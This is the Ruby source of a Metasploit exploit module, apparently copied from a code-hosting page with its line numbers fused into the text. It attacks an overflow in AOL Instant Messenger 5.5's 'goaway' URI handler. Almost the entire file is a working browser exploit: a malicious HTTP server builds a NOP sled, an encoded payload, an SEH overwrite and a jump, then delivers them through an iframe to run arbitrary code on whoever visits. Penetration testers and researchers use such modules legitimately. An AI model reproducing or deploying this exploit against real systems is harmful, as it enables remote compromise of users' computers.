Path: blob/master/modules/exploits/windows/browser/aim_goaway.rb
32007 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#9# This module acts as an HTTP server and exploits an SEH overwrite10#11include Msf::Exploit::Seh12include Msf::Exploit::Remote::HttpServer::HTML1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'AOL Instant Messenger goaway Overflow',19'Description' => %q{20This module exploits a flaw in the handling of AOL Instant21Messenger's 'goaway' URI handler. An attacker can execute22arbitrary code by supplying an overly sized buffer as the23'message' parameter. This issue is known to affect AOL Instant24Messenger 5.5.25},26'License' => MSF_LICENSE,27'Author' => [28'skape',29'thief <thief[at]hick.org>'30],31'References' => [32[ 'CVE', '2004-0636' ],33[ 'OSVDB', '8398' ],34[ 'BID', '10889'],35[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],36],37'Payload' => {38'Space' => 1014,39'MaxNops' => 1014,40'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",41'StackAdjustment' => -350042},43'Targets' => [44# Target 0: Automatic45[46'Windows NT/2000/XP/2003 Automatic',47{48'Platform' => 'win',49'Rets' =>50[510x1108118f, # proto.com: pop/pop/ret52]53},54],55],56'DefaultTarget' => 0,57'DisclosureDate' => '2004-08-09',58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)65end6667def on_request_uri(cli, _request)68# Re-generate the payload69return if ((p = regenerate_payload(cli)).nil?)7071# Build out the message72msg =73make_nops(1014 - p.encoded.length) + # NOP sled before the payload74p.encoded + # store the payload75generate_seh_record(target['Rets'][0]) + # set up the SEH frame76"\x90\xe9\x13\xfc\xff\xff" # jmp -10007778# Build the HTML content79content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"8081print_status("Sending #{name}")8283# Transmit the response to the client84send_response_html(cli, content)8586# Handle the payload87handler(cli)88end89end909192